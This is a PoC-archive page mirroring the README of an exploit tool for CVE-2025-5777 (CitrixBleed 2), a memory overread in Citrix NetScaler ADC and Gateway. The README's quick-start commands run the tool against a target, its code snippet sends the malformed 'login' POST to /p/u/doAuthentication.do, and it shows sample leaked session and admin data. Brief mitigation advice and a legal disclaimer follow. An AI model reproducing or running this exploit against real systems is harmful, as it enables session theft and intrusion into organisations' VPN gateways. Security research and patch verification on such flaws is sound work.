Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Source
Associated Vulnerability
Title: NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread (CVE-2025-5777)
Description:Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server
Description
CVE-2025-5777 Citrix NetScaler Memory Leak Exploit (CitrixBleed 2)
Readme
# CVE-2025-5777 - Citrix NetScaler Memory Leak Exploit

![Banner](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/refs/heads/main/images/logo.png)  

---

## **📌 Overview**  
This tool demonstrates **CVE-2025-5777**, a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway devices. The exploit leaks sensitive memory contents via malformed authentication requests.  

**Key Features:**  
✔ **Memory leak detection** via XML response parsing  
✔ **Hex+ASCII dump** of leaked memory regions  
✔ **Burp Suite-compatible** request format  
✔ **Asynchronous requests** for efficient testing  

---

## **🔍 Proof-of-Concept**  
### **1. Vulnerable Request (Burp Suite)**  
![Burp Request](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/main/images/burpsuite.png)  

### **2. Exploit in Action**  
![Tool Execution](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/main/images/tools.png)  

---

## **⚡ Quick Start**  
```bash
git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com
```

**Expected Output:**  
```diff
+ [+] Memory leak detected!
--- Leaked Memory Hex Dump ---
00000000  73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38  session=12345678
00000010  55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00  User: admin.....
```

---

## **🛡️ Mitigation**  
| Action | Command/Reference |
|--------|------------------|
| **Patch** | [Citrix Security Bulletin](https://support.citrix.com/) |
| **WAF Rule** | `Block POST /p/u/doAuthentication.do with malformed params` |
| **Detection** | `grep 'POST /p/u/doAuthentication.do' netscaler.log` |

---

## **📚 Resources**  
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-5777)  
- [Technical Writeup](https://bughuntar.medium.com/citrixbleed-2-cve-2025-5777-from-research-to-real-world-exploitation-and-tool-development-c0bead425cee)  

---

## **🖥️ Code Highlights**  
```python
# Malformed request trigger
async def exploit(target):
    async with aiohttp.post(
        f"{target}/p/u/doAuthentication.do",
        data="login",  # Missing equals sign triggers leak
        ssl=False
    ) as response:
        await parse_leak(await response.read())
```

---

## **⚠️ Legal Notice**  
```diff
- This tool is for authorized testing ONLY.
- Unauthorized use violates international cybersecurity laws.
```
**Full disclaimer:** [DISCLAIMER.md](./DISCLAIMER.md)  

**Author:** [Professor the Hunter](https://x.com/bughuntar)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →